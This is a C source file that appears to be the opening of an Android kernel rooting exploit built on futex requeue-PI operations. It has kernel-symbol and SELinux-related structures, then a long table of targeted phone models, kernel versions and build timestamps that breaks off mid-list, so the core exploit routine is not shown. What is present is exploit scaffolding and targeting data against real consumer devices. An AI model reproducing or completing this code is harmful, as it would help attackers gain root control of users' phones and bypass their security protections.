#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/prctl.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include "util.h"
#include "ksymbol.h"

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define FUTEX_LOCK_PI           6

typedef enum __bool { false = 0, true = 1, } bool;

typedef struct _phone_info {
    char band[64];
    char model[64];
    char release[64];
    char version[64];
    unsigned int e;
    unsigned int f;
    unsigned int a;
    unsigned int b;
    unsigned int c;
    unsigned int selinux_mark;
    unsigned int selinux_extra;
} phone_info_t, *phone_info_ptr;

struct mmsghdr {
    struct msghdr msg_hdr;
    unsigned int msg_len;
};


typedef struct _support_phone_info {
    char model[64];
    char buildno[64];
    long buildutc;
} support_phone_info, *support_phone_info_ptr;

support_phone_info g_force_support_phone[] = {
		{"gt-i9300","3.0.31-2222515",1386126402},
		{"gt-i9300","3.0.31-2222515",1386126572},
		{"gt-i9300","3.0.31-2222515",1388142467},
		{"gt-i9300","3.0.31-2222515",1392643680},
		{"gt-i9300","3.0.31-2222515",1393309851},
		{"gt-i9300","3.0.31-2222515",1408362473},
		{"gt-n7100","3.0.31-2308196",1387282831},
		{"gt-n7100","3.0.31-2308196",1390533687},
		{"gt-n7100","3.0.31-2308196",1398880222},
		{"gt-n7100","3.0.31-857946",1360826714},
		{"gt-n7100","3.0.31-857946",1361953722},
		{"gt-n7100","3.0.31-857946",1366175998},
		{"gt-n7100","3.0.31-857946",1374205372},
		{"gt-n7100","3.0.31-857946",1378695117},
		{"gt-n7102","3.0.31-2256167",1387259721},
		{"gt-n7102","3.0.31-2256167",1387260422},
		{"gt-n7102","3.0.31-2256167",1392613703},
		{"gt-n7102","3.0.31-2256167",1392614166},
		{"gt-n7105","3.0.31-1398348",1401188719},
		{"gt-n7108","3.0.31-2173265",1387259943},
		{"gt-n7108","3.0.31-2173265",1390368847},
		{"gt-n7108","3.0.31-2173265",1392617326},
		{"sch-i939","3.0.31-2286940",1386766545},
		{"sm-t311","3.0.31-991389",1388722180},
};


support_phone_info  g_support_phone_all[] = {
		{ "5860s", "3.0.21-perf", 1353508113 },
		{ "5860s", "3.0.21-perf", 1354797734 },
		{ "5860s", "3.0.21-perf", 1363920144 },
		{ "5860s", "3.0.21-perf", 1375346786 },
		{ "5860s", "3.0.21-perf", 1381586993 },
		{ "5860s", "3.0.21-perf", 1381754392 },
		{ "8950", "3.0.8-perf", 1352204241 },
		{ "a2", "3.0.21-perf", 1364296271 },
		{ "acqua", "3.0.8-perf-svn21719", 1343871133 },
		{ "c6602", "3.4.0-g6df7905-02327-g1aa3092", 1365671833 },
		{ "changhongc600", "3.0.21-perf-g9294e60-00038-g41ad009", 1397698360 },
		{ "coolpad+9970", "3.4.35", 1380039309 },
		{ "coolpad+9970", "3.4.35", 1390789852 },
		{ "coolpad+9970", "3.4.35", 1403269992 },
		{ "coolpad+9970", "3.4.35", 1403851370 },
		{ "coolpad+9970", "3.4.35", 1404481456 },
		{ "coolpad+9970", "3.4.35", 1404915156 },
		{ "coolpad+9970", "3.4.35", 1408016502 },
		{ "coolpad+9970", "3.4.35", 1414119241 },
		{ "d2303", "3.4.0+", 1396527451 },
		{ "d5303", "3.4.0+", 1403157648 },
		{ "desay+tl1266", "3.4.0-g08edeb9", 1399549496 },
		{ "eg950", "3.0.21-perf-svn16900", 1369299917 },
		{ "epade+n01", "3.0.21-perf+", 1355800156 },
		{ "gal-a1139", "3.4.66", 1403001062 },
		{ "go+m2s", "3.0.21-perf", 1353913883 },
		{ "gt-0000", "3.0.8-1251450", 1377665537 },
		{ "gt-i9210", "3.0.8-1208959", 1362732984 },
		{ "gt-i9310", "3.0.13", 1353411997 },
		{ "gt-i9506", "3.4.0-2210443", 1394783081 },
		{ "gt-n7005", "3.0.8-1229868", 1371821324 },
		{ "gt-n7005", "3.0.8-perf-i717uclf5-cl706122", 1344602669 },
		{ "gt-n7102", "3.0.13", 1365675203 },
		{ "gt-n7108d", "3.4.0-2579253", 1394105825 },
		{ "hs-e200t", "3.4.0-perf-gbf70552", 1403445198 },
		{ "hs-e260t", "3.4.0-g3d14ea8", 1402020674 },
		{ "hs-e260t", "3.4.0-gcacad42", 1402932489 },
		{ "hs-e917", "3.4.0-g9d1d115", 1385954454 },
		{ "hs-eg906", "3.0.8", 1345782735 },
		{ "hs-eg936d", "3.4.0-g4a10941", 1395999396 },
		{ "hs-eg936d", "3.4.0-gb7bfbec", 1398042011 },
		{ "hs-eg936d", "3.4.0-gb7bfbec", 1400637611 },
		{ "hs-eg936d", "3.4.0-gb7bfbec", 1403352969 },
		{ "hs-eg950", "3.0.21-perf", 1363769541 },
		{ "hs-eg971", "3.4.0-g7d15ccf", 1398656910 },
		{ "hs-eg978", "3.4.0-g0fe8943", 1402297622 },
		{ "hs-eg978", "3.4.0-g40108c0", 1394186203 },
		{ "hs-eg978", "3.4.0-g8d869ca", 1392349791 },
		{ "hs-t9", "3.4.0-ge19bb4b", 1372142860 },
		{ "hs-u936", "3.4.0-ga6d9786", 1395375250 },
		{ "hs-u971", "3.4.0-gf1bb211", 1397729313 },
		{ "hs-x5t", "3.4.0-gf8ba59a-dirty", 1392474362 },
		{ "hs-x68t", "3.4.0-g07cdd17", 1396706145 },
		{ "htc+601e", "3.4.10-g966dbe9", 1394187992 },
		{ "htc+801e", "3.4.10-g06cea70", 1373643968 },
		{ "htc+801e", "3.4.10-g158f9a4", 1387443829 },
		{ "htc+801e", "3.4.10-g40b189c", 1407928592 },
		{ "htc+801e", "3.4.10-g6d8ea5e", 1398662705 },
		{ "htc+801e", "3.4.10-g77e9ea0", 1402937066 },
		{ "htc+801e", "3.4.10-g7fe1bad", 1393389073 },
		{ "htc+802d", "3.4.10-g3360856", 1386942329 },
		{ "htc+802d", "3.4.10-g3ad44af", 1394030913 },
		{ "htc+802d", "3.4.10-g50052c4", 1408115281 },
		{ "htc+802d", "3.4.10-gf22c859", 1399632402 },
		{ "htc+802t", "3.4.10-g3360856", 1386941353 },
		{ "htc+802t", "3.4.10-gde5213a", 1399895968 },
		{ "htc+802t", "3.4.10-gf22c859", 1399895968 },
		{ "htc+802t", "3.4.10-soul-xiaoxiang8002-1.0", 1399895968 },
		{ "htc+802t", "3.4.10-xiaoxiang8002-soul2.0", 1399895968 },
		{ "htc+802t+16gb", "3.4.10-g3360856", 1388157031 },
		{ "htc+802w", "3.4.10-g3360856", 1386942229 },
		{ "htc+802w", "3.4.10-g439196c", 1394033094 },
		{ "htc+802w", "3.4.10-g962f1a4", 1381325515 },
		{ "htc+802w", "3.4.10-gde29e3a", 1390893219 },
		{ "htc+802w", "3.4.10-gde29e3a", 1394033094 },
		{ "htc+802w", "3.4.10-gde29e3a", 1399895968 },
		{ "htc+802w", "3.4.10-gf22c859", 1399632692 },
		{ "htc+803e", "3.4.10-g0534bc3", 1394166987 },
		{ "htc+8060", "3.4.10-g31f48c1", 1396948776 },
		{ "htc+8088", "3.4.10-g16ce65b", 1399447828 },
		{ "htc+809d", "3.4.10-g108a7c2", 1396948844 },
		{ "htc+9060", "3.4.10-g8944b78", 1395911114 },
		{ "htc+9088", "3.4.10-ga5a1245", 1395910825 },
		{ "htc+919d", "3.4.10-gc12b55d", 1395808539 },
		{ "htc+butterfly", "3.4.10", 1398199482 },
		{ "htc+butterfly", "3.4.10-ga025916", 1389283182 },
		{ "htc+butterfly+j", "3.4.10-schkernel-kk-sense-oc-beta", 1398199482 },
		{ "htc+butterfly+s", "3.4.10-g6650ca5", 1399879044 },
		{ "htc+butterfly+s", "3.4.10-g8329915", 1404270855 },
		{ "htc+droid+dna", "3.4.10-nuk3rn3l", 1389877313 },
		{ "htc+droid+dna", "3.4.10-soul-gf-1.0", 1398199482 },
		{ "htc+evo+3d+x515m", "3.0.16-ge733189", 1337770930 },
		{ "htc+evo+3d+x515m", "3.0.16-ge733189", 1338364609 },
		{ "htc+evo+3d+x515m", "3.0.16-ge733189", 1367229866 },
		{ "htc+holiday", "3.0.33-msm8660-faux123-v007+", 1332343818 },
		{ "htc+j+one", "3.4.10-edaoke-edaoke", 1389877313 },
		{ "htc+j+one", "3.4.10-soul-1.0", 1398199482 },
		{ "htc+j+one", "3.4.10-soul-2.0", 1398199482 },
		{ "htc+j+one", "3.4.10-xiaoxiang8002-soul4.0", 1398199482 },
		{ "htc+m8t", "3.4.0-g543f38e", 1399878489 },
		{ "htc+m8t", "3.4.0-soul-2.0", 1400586561 },
		{ "htc+m8w", "3.4.0-g88dafb7", 1395419662 },
		{ "htc+one", "3.4.10-elementalx-14.12", 1395419662 },
		{ "htc+one", "3.4.10-elementalx-14.12", 1398660782 },
		{ "htc+one", "3.4.10-g1ce4a30", 1380875259 },
		{ "htc+one", "3.4.10-g499e571", 1390561943 },
		{ "htc+one", "3.4.10-g49f7915", 1387020975 },
		{ "htc+one", "3.4.10-g77e9ea0", 1402937066 },
		{ "htc+one", "3.4.10-gf22c859", 1402987471 },
		{ "htc+one+801e", "3.4.10-g1c27b5d", 1383829488 },
		{ "htc+one+801e", "3.4.10-gb91aaea", 1366044523 },
		{ "htc+one+mini", "3.4.10", 1403594467 },
		{ "htc+one+sv", "3.0.21-g1c7e7c5", 1360312153 },
		{ "htc+one+sv", "3.4.10-g47d5073", 1383741150 },
		{ "htc+one+sv", "3.4.10.*alina*", 1382103737 },
		{ "htc+sensation+xe+with+beats+audio+z715e", "3.0.16-g31a4fc7", 1339700766 },
		{ "htc+sensation+xe+with+beats+audio+z715e", "3.0.16-g31a4fc7", 1349326220 },
		{ "htc+sensation+xe+with+beats+audio+z715e", "3.0.16-g31a4fc7", 1350901088 },
		{ "htc+sensation+xe+with+beats+audio+z715e", "3.0.16-gc764bfb", 1332830401 },
		{ "htc+sensation+xe+with+beats+audio+z715e", "3.0.16-gc764bfb", 1348497209 },
		{ "htc+sensation+xe+with+beats+audio+z715e", "3.0.16-gc764bfb", 1349326063 },
		{ "htc+sensation+xe+with+beats+audio+z715e", "3.0.16-gcfa14fc", 1328633762 },
		{ "htc+sensation+xe+with+beats+audio+z715e", "3.0.16-gda3fdfc", 1332180931 },
		{ "htc+sensation+z710a", "3.0.16-g31a4fc7", 1337171760 },
		{ "htc+sensation+z710e", "3.0.16-gc764bfb", 1332829827 },
		{ "htc+sensation+z710e", "3.0.16-gc764bfb", 1333040588 },
		{ "htc+sensation+z710e", "3.0.16-gc764bfb", 1366968653 },
		{ "htc+sensationxe+z715e+with+beats+audio", "3.0.16-gda3fdfc", 1330518366 },
		{ "htc+t329t", "3.0.8+-gaa1c99e", 1357900645 },
		{ "htc+t528d", "3.0.8+-gdcdc971", 1352311403 },
		{ "htc+t528t", "3.0.8+-gb568d1f", 1357102958 },
		{ "htc+t528w", "3.0.8+-g8c5320e", 1358244059 },
		{ "htc+x515d", "3.0.16-g98d616f", 1343824467 },
		{ "htc+x515d", "3.0.16-g98d616f", 1346989193 },
		{ "htc+x515m", "3.0.16-gbdba926", 1346688937 },
		{ "htc+x920e", "3.4.10-gb1ff67f", 1388662092 },
		{ "htc+x920e", "3.4.10-soul-gf-1.0", 1398199482 },
		{ "htc+z560e", "3.0.16-g562e801", 1343378699 },
		{ "htc+z560e", "3.0.16-gcfb7aae", 1344864001 },
		{ "htc+z560e", "3.0.16-gcfb7aae", 1346315058 },
		{ "htc+z715e", "3.0.16-gc764bfb", 1333299140 },
		{ "htcone", "3.4.10-g18569d8", 1382022332 },
		{ "htcone", "3.4.10-gf22c859", 1400142661 },
		{ "htc_d816x", "3.4.0-gb799e00", 1399560916 },
		{ "htc_m8minx", "3.4.0-g8151a5d", 1399030806 },
		{ "htc_pn071", "3.4.10-g59cb2f3", 1390223619 },
		{ "htc_pn071", "3.4.10-g9fd0a86", 1398238379 },
		{ "huawei+c8812", "3.0.8-perf-00022-gf976120", 1335537811 },
		{ "huawei+c8812", "3.0.8-perf-00037-gb818f1a", 1357821207 },
		{ "huawei+c8816", "3.4.0+", 1389910172 },
		{ "huawei+c8816", "3.4.0+", 1393187143 },
		{ "huawei+c8816", "3.4.0+", 1395022848 },
		{ "huawei+c8816", "3.4.0+", 1396346249 },
		{ "huawei+c8816", "3.4.0+", 1397203539 },
		{ "huawei+c8816", "3.4.0+", 1399927911 },
		{ "huawei+c8816", "3.4.0+", 1404568693 },
		{ "huawei+c8816", "3.4.0+", 1407394382 },
		{ "huawei+g630-u00", "3.4.0+", 1399296157 },
		{ "huawei+g630-u00", "3.4.0+", 1403528506 },
		{ "huawei+g716-l070", "3.4.0-g9f2f726", 1387622765 },
		{ "huawei+u8800pro", "3.0.8-perf", 1401800613 },
		{ "huawei+y330-c00", "3.4.0+", 1399569361 },
		{ "huawei+y330-c00", "3.4.0+", 1406531376 },
		{ "huawei+y610-u00", "3.4.0-g3498186", 1401760760 },
		{ "huawei+y610-u00", "3.4.0-gafb4d34", 1399279851 },
		{ "ifive+mx", "3.0.8+", 1363934304 },
		{ "im-a810s", "3.0.71-zhaochengw", 1365274309 },
		{ "im-a840sp", "3.4.0", 1363952591 },
		{ "im-a850l", "3.4.0-perf", 1384928067 },
		{ "im-a860", "3.4.0_jb-mr1_by_zhaochengw+", 1381230802 },
		{ "im-a860k", "3.4.0-perf", 1359726378 },
		{ "im-a860k", "3.4.0-perf", 1360840197 },
		{ "im-a860k", "3.4.0-perf", 1367961688 },
		{ "im-a880s", "3.4.0", 1398171284 },
		{ "im-a880s", "3.4.0", 1401184058 },
		{ "im-a880s", "3.4.0", 1410870205 },
		{ "im-a890k", "3.4.0", 1401184058 },
		{ "im-a890l", "3.4.0", 1398683157 },
		{ "im-a890s", "3.4.0", 1391419970 },
		{ "im-a890s", "3.4.0", 1392600453 },
		{ "im-a900k", "3.4.0", 1387324417 },
		{ "in810", "3.4.0-perf-g2a75b57-00109-g01392a8", 1401981171 },
		{ "incredible+s", "3.0.16", 1400210386 },
		{ "iusai+x2", "3.4.0-g9fb0b64-00232-g582f573", 1398866054 },
		{ "k-touch+e780", "3.0.21-perf-gc8bc0b5", 1347700497 },
		{ "l-01f", "3.4.0-perf-g2bc9169", 1386142300 },
		{ "l35h", "3.4.0-perf-g32ce454", 1397033562 },
		{ "l39t", "3.4.0-perf-g27856e9", 1395985573 },
		{ "l39u", "3.4.0-perf-g66807d4-02627-g463c55b", 1395989831 },
		{ "l39u", "3.4.0-perf-g7d60b03", 1388473516 },
		{ "l50w", "3.4.0-perf-g0109737", 1402575625 },
		{ "la-e", "3.0.21-perf+", 1357546098 },
		{ "la-i", "3.0.21-perf+", 1350550894 },
		{ "la-i", "3.0.21-perf-svn6702", 1354875931 },
		{ "lenovo+s686", "3.0.21-perf-g8c71b5a-06465-gd0d9e35", 1343549072 },
		{ "lenx_10", "3.0.8-infotmic", 1383634795 },
		{ "lg-d410", "3.4.0+", 1401260586 },
		{ "lg-d802", "3.4.0-perf", 1394898766 },
		{ "lg-d802", "3.4.0-perf", 1400581441 },
		{ "lg-d802", "3.4.0-perf-g55abfa2-00001-gdbeb643", 1394073784 },
		{ "lg-d802", "3.4.0-perf-g55abfa2-00001-gdbeb643", 1394186542 },
		{ "lg-d802", "3.4.0-perf-ga3b2d07", 1392134086 },
		{ "lg-d802", "3.4.0-perf-gca49e6b", 1390047137 },
		{ "lg-d802", "3.4.0-perf-gccb65ed", 1400581441 },
		{ "lg-d802", "3.4.0-perf-gccb65ed", 1400593528 },
		{ "lg-d802", "3.4.0-perf-gccb65ed", 1400600894 },
		{ "lg-d802", "3.4.100-cloudykernel", 1403157321 },
		{ "lg-d802", "3.4.102-cloudykernel", 1395624029 },
		{ "lg-d802", "3.4.102-cloudykernel", 1395651690 },
		{ "lg-d802", "3.4.102-cloudykernel", 1405939569 },
		{ "lg-d802", "3.4.93-perf", 1401795810 },
		{ "lg-d838", "3.4.0-perf-g07b5abb", 1399708632 },
		{ "lg-d838", "3.4.0-perf-g9f1f3c8", 1398748034 },
		{ "lg-d838", "3.4.0-perf-gcec855e-00002-g4c9184e", 1400727196 },
		{ "lg-e975", "3.4.0", 1403858901 },
		{ "lg-e975w", "3.4.0-perf-gdf6dd84-00002-g920dd0d", 1368244685 },
		{ "lg-e988", "3.4.0", 20140828 },
		{ "lg-e988", "3.4.0", 20140924 },
		{ "lg-e988", "3.4.0", 1398824544 },
		{ "lg-e988", "3.4.0", 1398935125 },
		{ "lg-e988", "3.4.0", 1399516552 },
		{ "lg-f160", "3.4.0-perf-g69340b5-00001-g56c960a", 1364453955 },
		{ "lg-f160k", "3.4.0-perf-g478aebf", 1356423455 },
		{ "lg-f160k", "3.4.0-perf-g8068b66", 1367605241 },
		{ "lg-f160k", "3.4.0-perf-gaf700ea-00001-g684e095", 1368586217 },
		{ "lg-f160l", "3.4.0-xinlin", 1364453955 },
		{ "lg-f160s", "3.0.8-00001-g0b57c21", 1342850001 },
		{ "lg-f180k", "3.4.0-perf-g6a4ca47-00007-g73ddf39", 1357961634 },
		{ "lg-f180l", "3.4.0", 1399632426 },
		{ "lg-f200k", "3.4.0-perf-g81d1c18", 1376637571 },
		{ "lg-f200l", "3.4.0-perf-g1cf2eca", 1363238674 },
		{ "lg-f200l", "3.4.0-perf-g4b692f1", 1369055919 },
		{ "lg-f200l", "3.4.0-perf-g4b692f1", 1371105724 },
		{ "lg-f200l", "3.4.0-perf-gb2a51af-00003-g9f72a7b", 1366981498 },
		{ "lg-f200l", "3.4.0-perf-gd7d9f90-00005-gf74e44a", 1386401757 },
		{ "lg-f240l", "3.4.0", 1396278472 },
		{ "lg-f240l", "3.4.0", 1399856766 },
		{ "lg-f240s", "3.4.0-perf-g0eb2938", 1366783271 },
		{ "lg-f240s", "3.4.0-perf-g0eb2938", 1370410510 },
		{ "lg-f320l", "3.4.0-perf-g86269d2", 1403736967 },
		{ "lg-f320l", "3.4.100-cloudykernel", 1400581441 },
		{ "lg-f320s", "3.4.100-cloudykernel", 1400581441 },
		{ "lg-f320s", "3.4.100-cloudykernel", 1402546644 },
		{ "lg-f340l", "3.4.0-perf-g660b264", 1401934271 },
		{ "lg-f350s", "3.4.0-perf-g4d48f4e", 1402559729 },
		{ "lg-f400k", "3.4.0-perf-g6e7df2c", 1402114497 },
		{ "lg-ls980", "3.4.0-perf-g1fe3c70", 1385430861 },
		{ "lg-optimus+g+pro", "3.4.0-kk_by_ws008+", 1403251137 },
		{ "lg-su640", "3.4.0-miracle", 1370995805 },
		{ "lg-v500", "3.4.0", 1402469905 },
		{ "lg-v500", "3.4.0", 1402470957 },
		{ "lg-v500", "3.4.0", 1403256890 },
		{ "lgl22", "3.4.0-perf-g7f5b410", 1382995112 },
		{ "lgl22", "3.4.102-cloudykernel", 1398697895 },
		{ "lt25c", "3.0.21-1734-g6e5e7d9-00715-g94faae0", 1354860239 },
		{ "lt25i", "3.0.21-1734-g6e5e7d9-00738-gd20d33a", 1354631187 },
		{ "lt26i", "3.0.8+1.0.21100-arakmar-gdab760b", 1338290109 },
		{ "lt26ii", "3.0.8+1.0.21100-30145-01956-g43358ca", 1343622585 },
		{ "lt26ii", "3.0.8+1.0.21100-30145-01957-gc34b591", 1349367278 },
		{ "lt26w", "3.0.8+1.0.21100-30145-01949-g0df3406", 1338457849 },
		{ "lt28h", "3.0.8+1.0.21100-30145-01960-gef489d3", 1340879355 },
		{ "lt28h", "3.0.8+1.0.21100-30145-01972-g0f71270", 1332882993 },
		{ "lt28i", "3.0.8+1.0.21100-30145-01962-g90d4b42", 1337752812 },
		{ "lt28i", "3.0.8+1.0.21100-30145-01972-g0f71270", 1332882993 },
		{ "lt29i", "3.0.8+1.0.21100-02378-gcca969a", 1342524941 },
		{ "lt29i", "3.0.8+1.0.21100-02477-g0d376f4", 1348133451 },
		{ "lt29i", "3.0.8+1.0.21100-02482-g8ec6b47", 1351159237 },
		{ "m040", "3.0.39-user-svn2441", 1356337522 },
		{ "m040", "3.0.39-user-svn2538", 1357822939 },
		{ "m040", "3.0.39-user-svn4551", 1373009983 },
		{ "m045", "3.0.39-user-svn7535", 1387281479 },
		{ "m045", "3.0.39-user-svn7559", 1390558842 },
		{ "m045", "3.0.39-user-svn7559", 1393511564 },
		{ "m045", "3.0.39-user-svn7559", 1395918140 },
		{ "m1", "3.0.13", 1344933318 },
		{ "m351", "3.4.43-unicom-g1a39f00", 1395397333 },
		{ "m351", "3.4.43-unicom-gea3150d", 1398072021 },
		{ "m351", "3.4.43-unicom-svn6011", 1381754526 },
		{ "m351", "3.4.43-unicom-svn7533", 1387272009 },
		{ "m351", "3.4.43-unicom-svn7549", 1387797645 },
		{ "m351", "3.4.43-user-gc5f4ecf", 1395916975 },
		{ "m351", "3.4.43-user-gea3150d", 1398081572 },
		{ "m351", "3.4.43-user-svn7533", 1387271114 },
		{ "m351", "3.4.43-user-svn7549", 1387796759 },
		{ "m353", "3.4.43-unicom-g1a39f00", 1395397333 },
		{ "m353", "3.4.43-unicom-gea3150d", 1398072021 },
		{ "m353", "3.4.43-unicom-svn6011", 1381754526 },
		{ "m353", "3.4.43-unicom-svn7549", 1387797645 },
		{ "m353", "3.4.43-user-g2b5b758", 1393837255 },
		{ "m353", "3.4.43-user-gc5f4ecf", 1395916975 },
		{ "m353", "3.4.43-user-gea3150d", 1398081572 },
		{ "m353", "3.4.43-user-svn7549", 1387796759 },
		{ "m355", "3.4.43-user-g1a39f00", 1395395530 },
		{ "m355", "3.4.43-user-g66efe75", 1410234705 },
		{ "m355", "3.4.43-user-gea3150d", 1398081572 },
		{ "m355", "3.4.43-user-svn7238", 1383805145 },
		{ "m355", "3.4.43-user-svn7533", 1387271114 },
		{ "m355", "3.4.43-user-svn7549", 1387796759 },
		{ "m356", "3.4.43-user-g1a39f00", 1395395530 },
		{ "m356", "3.4.43-user-g3194ca4", 1401775436 },
		{ "m356", "3.4.43-user-g66efe75", 1410234705 },
		{ "m356", "3.4.43-user-gc5f4ecf", 1395916975 },
		{ "m356", "3.4.43-user-gea3150d", 1398081572 },
		{ "m356", "3.4.43-user-svn7549", 1387796759 },
		{ "m35c", "3.4.0-perf-g1285c6c-01108-gafbd151", 1366796337 },
		{ "m35t", "3.4.0-perf-g2e62c41-01246-gf154dc3", 1385455442 },
		{ "m811", "3.4.0-gac10c3f", 1402033481 },
		{ "m9", "3.0.8+", 1362165093 },
		{ "mb886", "3.0.42-ga45e448", 1354463618 },
		{ "me171", "3.0.8-perf", 1347951003 },
		{ "mediapad+7+lite", "3.0.8+", 1365424396 },
		{ "mi+2", "3.4.0-g52db9c3-01061-g6e5b457", 1379045055 },
		{ "mi+2", "3.4.0-g52db9c3-01068-g35efc4d", 1386077263 },
		{ "mi+2", "3.4.0-g52db9c3-01071-g1ed9156", 1380110367 },
		{ "mi+2", "3.4.0-g52db9c3-01071-g1ed9156", 1383878290 },
		{ "mi+2", "3.4.0-g52db9c3-01072-geedb0e9", 1387504994 },
		{ "mi+2", "3.4.0-g52db9c3-01072-geedb0e9", 1387967252 },
		{ "mi+2", "3.4.0-g52db9c3-01072-geedb0e9", 1390459518 },
		{ "mi+2", "3.4.0-g6c38dba-00791-g98db181", 1358166898 },
		{ "mi+2", "3.4.0-gc20fec0-00656-g1aa9c25", 1384396646 },
		{ "mi+2a", "3.4.0-g52db9c3-01072-geedb0e9", 1390459547 },
		{ "mi+2a", "3.4.0-g52db9c3-01073-gcb85193", 1392956036 },
		{ "mi+2a", "3.4.0-g52db9c3-01073-gcb85193", 1394433277 },
		{ "mi+2a", "3.4.0-g52db9c3-01075-g6b3e759", 1396578268 },
		{ "mi+2a", "3.4.0-g52db9c3-01077-gb91661e", 1397560501 },
		{ "mi+2a", "3.4.0-g52db9c3-01077-gb91661e", 1398753603 },
		{ "mi+2a", "3.4.0-g52db9c3-01079-g71e5dac", 1401397801 },
		{ "mi+2c/2sc", "3.4.0-gc20fec0-00090-gc610f15", 1387361476 },
		{ "mi+3", "3.4.35-g0eecdde", 1398684750 },
		{ "mi+3", "3.4.35-g4046e2b", 1402025322 },
		{ "mi+3", "3.4.35-g5fff266", 1385995145 },
		{ "mi+3", "3.4.35-g7172f63", 1400130732 },
		{ "mi+3", "3.4.35-g7b9b728", 1385101682 },
		{ "mi+3", "3.4.35-g9ac021e", 1394433018 },
		{ "mi+3", "3.4.35-ga64effa", 1400205678 },
		{ "mi-one+plus", "3.0.8-perf-00336-ga630c9a", 1340963172 },
		{ "mi-one+plus", "3.0.8-perf-00442-gadca3bf", 1350356655 },
		{ "mi-one+plus", "3.0.8-perf-00447-g3751c7c", 1351218706 },
		{ "mi-one+plus", "3.0.8-perf-00460-g828c2db", 1355446513 },
		{ "mi-one+plus", "3.0.8-perf-00464-ga326fac", 1412704215 },
		{ "mid", "3.0.36+", 1363953040 },
		{ "momo8", "3.0.8+", 1353383211 },
		{ "n70-s", "3.0.8+", 1358839656 },
		{ "n73", "3.0.36+", 1355387703 },
		{ "n9002", "3.4.5", 1394443930 },
		{ "nexus+4", "3.4.0-cyanogenmod-gd613a6a", 1385701290 },
		{ "nexus+4", "3.4.0-perf-g6e2edb0", 1413856224 },
		{ "nexus+4", "3.4.0-perf-gf43c3d9", 1373508649 },
		{ "nexus+5", "3.4.0", 1386201169 },
		{ "nexus+5", "3.4.0-cyanogenmod-ge84a161", 1391794412 },
		{ "nexus+5", "3.4.0-g9eb14ba", 1383096069 },
		{ "nexus+5", "3.4.0-gadb2201", 1386201169 },
		{ "nexus+5", "3.4.0-gadb2201", 1414101693 },
		{ "nexus+5", "3.4.0-gadb2201", 1414706480 },
		{ "nexus+5", "3.4.0-gadb2201", 1415052072 },
		{ "nexus+5", "3.4.0-gd59db4e", 1402643149 },
		{ "nexus+5", "3.4.0-gd59db4e", 1403892907 },
		{ "nexus+5", "3.4.0-gd59db4e", 1413858226 },
		{ "nexus+5", "3.4.0-gd59db4e", 1415047410 },
		{ "nexus+7", "3.4.0-g365a6e0", 1374429666 },
		{ "nexus+7", "3.4.0-g6537a16", 1376540204 },
		{ "nexus+7", "3.4.0-gac9222c", 1386201442 },
		{ "nexus+7", "3.4.0-gac9222c", 1408658573 },
		{ "oka13", "3.0.13", 1357380470 },
		{ "p668g", "3.0.13", 1348065838 },
		{ "p85t+mini(kw8p)", "3.4.5", 1395149306 },
		{ "padfone+2", "3.4.0-perf-gd4350d6-00001-g823a36d", 1393994455 },
		{ "pantechp9090", "3.0.8", 1351918737 },
		{ "pc7348", "3.0.36+", 1375512350 },
		{ "q3", "3.0.8+", 1369454676 },
		{ "q3", "3.0.8+", 1383369892 },
		{ "q7pro-h10", "3.0.8+", 1345608305 },
		{ "q8", "3.0.8-infotmic", 1383634795 },
		{ "r2010", "3.4.0", 1408635962 },
		{ "r6007", "3.4.0", 1406041099 },
		{ "r6007", "3.4.0", 1407254759 },
		{ "r6007", "3.4.0", 1407852787 },
		{ "r6007", "3.4.0", 1409285390 },
		{ "r6007", "3.4.0", 1409927408 },
		{ "s2005a-h", "3.0.8-perf-16937-g0ba0fb5", 1340226023 },
		{ "s26", "3.0.21-perf", 1351224322 },
		{ "samsung-sm-n9005", "3.4.0-1625098", 1382001969 },
		{ "sbm203sh", "3.4.0", 1378253649 },
		{ "sch-i929", "3.0.8-1162121", 1352221073 },
		{ "sch-i929", "3.0.8-1215041", 1365410464 },
		{ "sch-i929", "3.0.8-1241899", 1375253991 },
		{ "sch-n719", "3.0.8-perf", 1358504678 },
		{ "sgh-t769", "3.0.8-perf-t769uvlh5-cl990184", 1345183666 },
		{ "sh-02f", "3.4.0", 1389034124 },
		{ "shv-e120k", "3.0.8-1134414", 1345435283 },
		{ "shv-e120k", "3.0.8-perf-e120k.uf29.1112-cl805677", 1340936840 },
		{ "shv-e120k", "3.0.8-perf-e120k.uf29.1112-cl805677", 1345435283 },
		{ "shv-e120l", "3.0.8-perf-e120l.uf11.1831-cl703272", 1339407613 },
		{ "shv-e120l", "3.0.8-perf-e120l.ug31.1237-cl928767", 1343706352 },
		{ "shv-e120s", "3.0.8-perf-e120s.ug07.1045-cl828910", 1341626142 },
		{ "shv-e160k", "3.0.8-966809", 1348487243 },
		{ "shv-e160l", "3.0.8-966093", 1345800665 },
		{ "shv-e160l", "3.0.8-perf-e160l.ue11.2101-cl487164", 1336737249 },
		{ "shv-e160s", "3.0.8-966809", 1345803799 },
		{ "shv-e160s", "3.0.8-966809", 1355384031 },
		{ "shv-e470s", "3.4.0-2440753", 1389853377 },
		{ "sm-g8008v", "3.4.0", 1372217789 },
		{ "sm-n9002", "3.4.0-gfb043cc-dirty", 1396316907 },
		{ "sm-n9005", "3.4.0-1628120", 1378881059 },
		{ "sm-n9005", "3.4.0-1628120", 1380616737 },
		{ "sm-n9005", "3.4.0-1628120", 1381515654 },
		{ "sm-n9006", "3.4.0", 1384493391 },
		{ "sm-n9008s", "3.4.0-2634567", 1396925313 },
		{ "sm-n9008s", "3.4.0-2634567", 1401175967 },
		{ "sm-n9008v", "3.4.91-leankernel-hlte-2.6--g58e17b3", 1400054717 },
		{ "sm-n900v", "3.4.0-1671014", 1381917133 },
		{ "sm-n9150", "3.4.98--kt-sgs4-kk4.4-tw-spr-07.12.2014--", 1390914454 },
		{ "sol23", "3.4.0-perf-g66807d4-02631-gcdf2f9c", 1392964836 },
		{ "studypad2ld", "3.0.8-infotmic", 1387856058 },
		{ "t-02d", "3.4.0", 1381482759 },
		{ "t10", "3.0.8+", 1355795142 },
		{ "t2888", "3.0.13", 1356059448 },
